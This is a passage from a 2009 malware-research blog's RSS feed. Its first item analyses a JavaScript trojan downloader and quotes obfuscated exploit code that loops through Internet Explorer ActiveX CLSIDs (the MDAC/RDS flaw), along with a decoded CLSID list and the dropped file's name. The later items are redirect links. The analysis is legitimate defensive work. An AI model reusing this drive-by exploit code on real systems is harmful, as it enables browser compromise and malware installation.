var hncx=new Array(&#8220;BD96C556-65A3&#8243;+stm1+&#8221;1D0-983A-00C04FC29E36&#8243;,&#8221;AB9BCEDD-EC7E-47E&#8221;+st1m+&#8221;9322-D4A210617116&#8243;,&#8221;0006F033&#8243;+stcb1,&#8221;0006F03A&#8221;+stcb1,&#8221;6E32070A-766D-4EE6-879C-DC1FA91D2FC3&#8243;,&#8221;6414512B-B978-451D-A0D8-FCFDF33E833C&#8221;,&#8221;7F5B7F63-F06F-433&#8243;+st1m+&#8221;8A26-339E03C0AE3D&#8221;,&#8221;06723E09-F4C2-43c8-8358-09FCD1DB0766&#8243;,&#8221;639F725F&#8221;+stm1+&#8221;B2D-483&#8243;+st1m+&#8221;A9FD-874847682010&#8243;,&#8221;BA018599&#8243;+stm1+&#8221;DB3-44f9-83B4-461454C84BF8&#8243;,&#8221;D0C07D56-7C69-43F&#8221;+st1m+&#8221;B4A0-25F5A11FAB19&#8243;,&#8221;E8CCCDDF-CA28-496b-B050-6C07C962476B&#8221;,null);</p>
<p>Let&#8217;s isolate some harcoded value and research about it</p>
<p>BD96C556-65A3-11D0-983A-00C04FC29E36</p>
<p>this belongs to InternetExplorer MDAC vulnerability</p>
<p>other CLSID used are</p>
<p>* {BD96C556-65A3-11D0-983A-00C04FC29E30}<br />
* {BD96C556-65A3-11D0-983A-00C04FC29E36}<br />
* {AB9BCEDD-EC7E-47E1-9322-D4A210617116}<br />
* {0006F033-0000-0000-C000-000000000046}<br />
* {0006F03A-0000-0000-C000-000000000046}<br />
* {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}<br />
* {6414512B-B978-451D-A0D8-FCFDF33E833C}<br />
* {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}<br />
* {06723E09-F4C2-43c8-8358-09FCD1DB0766}<br />
* {639F725F-1B2D-4831-A9FD-874847682010}<br />
* {BA018599-1DB3-44f9-83B4-461454C84BF8}<br />
* {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}<br />
* {E8CCCDDF-CA28-496b-B050-6C07C962476B}</p>
<p>var stob=&#8221;object&#8221;; var stid=&#8221;id&#8221;; var strd=&#8221;obj_RDS&#8221;; var iuump=null;<br />
while (hncx[i]) {<br />
try{<br />
iuump=null;iuump=document.createElement(stob);iuump.setAttribute(stid,strd+i);iuump.setAttribute(&#8220;class&#8221;+stid,&#8221;cls&#8221;+stid+&#8221;:&#8221;+hncx[i]);<br />
}catch(e){};<br />
if(iuump){try{if(lsrn(iuump)){break;};}catch(e){};};<br />
i++;<br />
}<br />
&lt;/script&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p>
<p>definitely this javascript downloads the infected file into the root directory &#8220;C:\&#8221; with this name :</p>
<p>* &#8220;sys[4 random letters].exe&#8221;</p>
<p>Regards,</p>
<p>Giuseppe &#8216;Evilcry&#8217; Bonfa&#8217;</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/391/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=391&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/09/22/trojan-js-downloader-bds-website-with-exploit-and-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>A new case of MSN Identity Theft let-people-laugh</title>
		<link>http://evilcodecave.wordpress.com/2009/09/16/a-new-case-of-msn-identity-theft-let-people-laugh/</link>
		<comments>http://evilcodecave.wordpress.com/2009/09/16/a-new-case-of-msn-identity-theft-let-people-laugh/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 12:23:23 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[DSC00519.JPG]]></category>
		<category><![CDATA[Fraud]]></category>
		<category><![CDATA[http://let-people-laugh.com/?gallery=]]></category>
		<category><![CDATA[identity theft]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[Scam]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=388</guid>
		<description><![CDATA[Redirection to my second blog:
http://evilcodecave.blogspot.com/2009/09/new-case-of-msn-identity-theft-let.html
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=388&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Redirection to my second blog:</p>
<p><a href="http://evilcodecave.blogspot.com/2009/09/new-case-of-msn-identity-theft-let.html">http://evilcodecave.blogspot.com/2009/09/new-case-of-msn-identity-theft-let.html</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/388/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=388&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/09/16/a-new-case-of-msn-identity-theft-let-people-laugh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>SpyOS-Express Svn Up</title>
		<link>http://evilcodecave.wordpress.com/2009/09/16/spyos-express-svn-up/</link>
		<comments>http://evilcodecave.wordpress.com/2009/09/16/spyos-express-svn-up/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 08:12:08 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[C / C++ (Visual Studio Based) Coding]]></category>
		<category><![CDATA[LGPL]]></category>
		<category><![CDATA[sourceforge]]></category>
		<category><![CDATA[SpyOS]]></category>
		<category><![CDATA[SpyOS-Express]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=386</guid>
		<description><![CDATA[Redirection:
http://evilcodecave.blogspot.com/2009/09/spyos-express-svn-up.html
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=386&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Redirection:</p>
<p><a href="http://evilcodecave.blogspot.com/2009/09/spyos-express-svn-up.html">http://evilcodecave.blogspot.com/2009/09/spyos-express-svn-up.html</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/386/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/386/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/386/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/386/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/386/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/386/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/386/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/386/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/386/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/386/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=386&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/09/16/spyos-express-svn-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
	</channel>
</rss>